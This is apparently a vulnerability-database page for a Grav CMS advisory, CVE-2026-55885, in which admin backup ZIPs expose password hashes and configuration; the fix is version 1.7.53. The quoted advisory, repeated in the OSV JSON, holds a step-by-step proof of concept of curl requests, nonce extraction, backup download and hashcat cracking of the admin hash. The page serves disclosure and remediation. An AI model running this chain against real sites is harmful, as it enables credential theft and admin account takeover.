CVE-2026-55885: Grav Admin Backup Zip File Exposes Vulnerability

MODERATE
Advisory Identifier: GHSA-2f86-9cp8-6hcf
CVSS 6.8
CWE-312 CWE-522
Published
Advisory Summary

CVE-2026-55885 is a MODERATE (CVSS 6.8) admin backup zip file exposes vulnerability (CWE-312: Cleartext Storage of Sensitive Information) affecting Grav libraries in the Packagist ecosystem. The issue involves admin backup zip file exposes account credentials and configuration secrets. Remediation is available by upgrading affected packages to version 1.7.53.

CVE-2026-55885 at a Glance

CVE Identifier CVE-2026-55885
GHSA Identifier GHSA-2f86-9cp8-6hcf
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-312: Cleartext Storage of Sensitive Information
Affected Product Grav
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-55885

To remediate this vulnerability, upgrade all affected Grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

getgrav/grav fixed: 1.7.53
Upgrade getgrav/grav to 1.7.53
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for getgrav/grav

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55885, inspect your project dependencies for Grav:

inspect dependencies for getgrav/grav

Analyze the terminal output to locate any version of Grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.53), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-312: Cleartext Storage of Sensitive Information, where the product stores sensitive information in cleartext within a resource that might be accessible to another control sphere. In Grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including `user/accounts/admin.yaml` with the admin's bcrypt password hash and email, plus `user/config/` with all site configuration. The download endpoint requires only the session-static `admin-nonce` in the URL, no additional form-level CSRF token, and reveals the server's full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on `http://{Grav_URL}/admin`, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover. ### Details The vulnerability chain spans three components in the deployed Grav source tree at `/var/www/html/grav/`: **1. Backup archive scope — `Backups::backup()`** `/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272` The `backup()` static method creates a ZIP of the directory specified by the backup profile's `root` property. The default profile (ID `0`, named `default_site_backup`) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path: ```php // Backups.php:225 $backup_root = rtrim(GRAV_ROOT . $backup->root, DS) ?: DS; ``` Since the default profile ships with no `root` override, `$backup->root` is empty, making `$backup_root` equal to `GRAV_ROOT` — i.e. `/var/www/html/grav/`. The archive therefore captures the entire installation including: - `/var/www/html/grav/user/accounts/` — admin password hash, email, full name, granular permissions - `/var/www/html/grav/user/config/` — system settings, potentially email SMTP credentials The `exclude_files` and `exclude_paths` options on lines 232-235 are empty by default and offer no protection against including account files. **2. Backup download handler — `AdminController::taskBackup()`** `/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573` After creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin: ```php // AdminController.php:558-560 $download = urlencode(base64_encode($backup)); $url = rtrim(...) . '/task' . $param_sep . 'backup/download' . $param_sep . $download . '/admin-nonce' . $param_sep . Utils::getNonce('admin-form'); ``` The download handler (lines 532-541) decodes the path, locates the file via the `backup://` stream, and serves it with `Utils::download($file, true)`. It performs only two checks: the filename must end in `.zip` and the file must actually exist. It does **not** verify the file belongs to the requesting user, does **not** enforce a form-level nonce, and does **not** tie the download to a specific session. **3. Nonce validation — permissive** The backup route is protected only by the `admin-nonce` parameter appended to the URL path. This nonce is session-static and shared across every admin page. No `form-nonce` is required — unlike page saves or configuration changes which demand both `admin-nonce` and `form-nonce`. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value. ### PoC **Prerequisites:** Admin session with valid `admin-nonce`. **Step 1 — Authenticate and extract the session-static nonces:** ```bash # Get login page, extract login-nonce, authenticate NONCE=$(curl -s -c /tmp/jar "http://127.0.0.1/grav/admin" \ | grep -oP 'name="login-nonce" value="\K[^"]+') curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \ --data-urlencode "data[username]=admin" \ --data-urlencode "data[password]=Passw0rd123!" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" # Extract the admin-nonce (same value on every admin page) ADMIN_NONCE=$(curl -s -b /tmp/jar "http://127.0.0.1/grav/admin" \ | grep -oP 'admin-nonce[:=]\K[a-f0-9]+' | head -1) echo "Admin nonce: $ADMIN_NONCE" # e.g. 68d6b108bc1398028365fb35ea760baf ``` **Step 2 — Trigger a backup (single GET, no form-nonce needed):** ```bash curl -s -b /tmp/jar \ "http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}" ``` Response: ```json { "status": "success", "message": "Your backup is ready for download. <a href=\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\" class=\"button\">Download backup</a>" } ``` **Step 3 — Extract the Base64 download token and fetch the ZIP:** ```bash # The download path is base64("/var/www/html/grav/backup/default_site_backup--20260616122449.zip") # This reveals the full server filesystem path. curl -s -b /tmp/jar -o /tmp/backup.zip \ "http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}" ``` **Step 4 — Extract the password hash from the ZIP:** ```bash unzip -p /tmp/backup.zip "user/accounts/admin.yaml" ``` Output: ```yaml state: enabled email: admin@grav.com fullname: 'Grav Admin' title: Administrator access: admin: login: true super: true site: login: true hashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m ``` **Step 5 — Crack the bcrypt hash offline:** ```bash echo '$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m' > hash.txt hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt ``` **Step 6 — Log in with the cracked password (no rate limit):** ```bash curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \ --data-urlencode "data[username]=admin" \ --data-urlencode "data[password]=<cracked_password>" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" ``` ### Impact - **Type:** Authenticated sensitive data exposure enabling offline credential theft - **Attack surface:** Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access) - **Exposed data:** Admin username, email, full name, granular permission structure, bcrypt password hash (`$2y$12$...`), and full site configuration from `user/config/` - **Downstream risk:** Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes - **Server path leakage:** The Base64-encoded download token reveals the absolute filesystem path `/var/www/html/grav/backup/` — information critical for LFI, file-write, and path traversal attacks

CVE-2026-55885 Affected Grav Versions

1 component(s)
Fixed Versions:
1.7.53
Product / Package Ecosystem Affected Versions Fixed Version
getgrav/grav
Packagist
< 1.7.53
1.7.53

References

Frequently Asked Questions

What is CVE-2026-55885?
CVE-2026-55885 is a security vulnerability in Grav involving Admin Backup Zip File Exposes Account Credentials and Configuration Secrets under CWE-312: Cleartext Storage of Sensitive Information.
Which Grav versions are affected?
Affected versions include releases prior to 1.7.53 across affected packages: getgrav/grav.
What version fixes CVE-2026-55885?
Upgrading to 1.7.53 (or the latest patched release for your respective branch) resolves the vulnerability.
Is getgrav/grav affected?
Yes, getgrav/grav is affected in releases prior to 1.7.53. Upgrade your dependency to 1.7.53 or later.
What is the CVSS score of CVE-2026-55885?
CVE-2026-55885 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-55885?
CVE-2026-55885 is classified under CWE-312: Cleartext Storage of Sensitive Information (The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.).
How can I check Packagist dependencies for CVE-2026-55885?
Run the dependency tree command: 'inspect dependencies for getgrav/grav'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2f86-9cp8-6hcf",
  "modified" : "2026-06-18T14:31:13Z",
  "published" : "2026-06-18T14:31:13Z",
  "aliases" : [ "CVE-2026-55885" ],
  "summary" : "Grav: Admin Backup Zip File Exposes Account Credentials and Configuration Secrets",
  "details" : "### Summary\nAn authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including `user/accounts/admin.yaml` with the admin's bcrypt password hash and email, plus `user/config/` with all site configuration. The download endpoint requires only the session-static `admin-nonce` in the URL, no additional form-level CSRF token, and reveals the server's full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on `http://{Grav_URL}/admin`, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.\n\n### Details\nThe vulnerability chain spans three components in the deployed Grav source tree at `/var/www/html/grav/`:\n\n**1. Backup archive scope — `Backups::backup()`**  \n`/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272`\n\nThe `backup()` static method creates a ZIP of the directory specified by the backup profile's `root` property. The default profile (ID `0`, named `default_site_backup`) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:\n\n```php\n// Backups.php:225\n$backup_root = rtrim(GRAV_ROOT . $backup->root, DS) ?: DS;\n```\n\nSince the default profile ships with no `root` override, `$backup->root` is empty, making `$backup_root` equal to `GRAV_ROOT` — i.e. `/var/www/html/grav/`. The archive therefore captures the entire installation including:\n\n- `/var/www/html/grav/user/accounts/` — admin password hash, email, full name, granular permissions\n- `/var/www/html/grav/user/config/` — system settings, potentially email SMTP credentials\n\nThe `exclude_files` and `exclude_paths` options on lines 232-235 are empty by default and offer no protection against including account files.\n\n**2. Backup download handler — `AdminController::taskBackup()`**  \n`/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573`\n\nAfter creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:\n\n```php\n// AdminController.php:558-560\n$download = urlencode(base64_encode($backup));\n$url = rtrim(...) . '/task' . $param_sep . 'backup/download' . $param_sep\n       . $download . '/admin-nonce' . $param_sep . Utils::getNonce('admin-form');\n```\n\nThe download handler (lines 532-541) decodes the path, locates the file via the `backup://` stream, and serves it with `Utils::download($file, true)`. It performs only two checks: the filename must end in `.zip` and the file must actually exist. It does **not** verify the file belongs to the requesting user, does **not** enforce a form-level nonce, and does **not** tie the download to a specific session.\n\n**3. Nonce validation — permissive**  \nThe backup route is protected only by the `admin-nonce` parameter appended to the URL path. This nonce is session-static and shared across every admin page. No `form-nonce` is required — unlike page saves or configuration changes which demand both `admin-nonce` and `form-nonce`. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.\n\n### PoC\n**Prerequisites:** Admin session with valid `admin-nonce`.\n\n**Step 1 — Authenticate and extract the session-static nonces:**\n```bash\n# Get login page, extract login-nonce, authenticate\nNONCE=$(curl -s -c /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP 'name=\"login-nonce\" value=\"\\K[^\"]+')\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=Passw0rd123!\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n\n# Extract the admin-nonce (same value on every admin page)\nADMIN_NONCE=$(curl -s -b /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP 'admin-nonce[:=]\\K[a-f0-9]+' | head -1)\necho \"Admin nonce: $ADMIN_NONCE\"   # e.g. 68d6b108bc1398028365fb35ea760baf\n```\n\n**Step 2 — Trigger a backup (single GET, no form-nonce needed):**\n```bash\ncurl -s -b /tmp/jar \\\n  \"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}\"\n```\n\nResponse:\n```json\n{\n  \"status\": \"success\",\n  \"message\": \"Your backup is ready for download. <a href=\\\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\\\" class=\\\"button\\\">Download backup</a>\"\n}\n```\n\n**Step 3 — Extract the Base64 download token and fetch the ZIP:**\n```bash\n# The download path is base64(\"/var/www/html/grav/backup/default_site_backup--20260616122449.zip\")\n# This reveals the full server filesystem path.\ncurl -s -b /tmp/jar -o /tmp/backup.zip \\\n  \"http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}\"\n```\n\n**Step 4 — Extract the password hash from the ZIP:**\n```bash\nunzip -p /tmp/backup.zip \"user/accounts/admin.yaml\"\n```\n\nOutput:\n```yaml\nstate: enabled\nemail: admin@grav.com\nfullname: 'Grav Admin'\ntitle: Administrator\naccess:\n  admin:\n    login: true\n    super: true\n  site:\n    login: true\nhashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\n```\n\n**Step 5 — Crack the bcrypt hash offline:**\n```bash\necho '$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m' > hash.txt\nhashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt\n```\n\n**Step 6 — Log in with the cracked password (no rate limit):**\n```bash\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=<cracked_password>\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n```\n\n### Impact\n- **Type:** Authenticated sensitive data exposure enabling offline credential theft\n- **Attack surface:** Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)\n- **Exposed data:** Admin username, email, full name, granular permission structure, bcrypt password hash (`$2y$12$...`), and full site configuration from `user/config/`\n- **Downstream risk:** Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes\n- **Server path leakage:** The Base64-encoded download token reveals the absolute filesystem path `/var/www/html/grav/backup/` — information critical for LFI, file-write, and path traversal attacks",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.7.53"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-312", "CWE-522" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T14:31:13Z",
    "nvd_published_at" : null
  }
}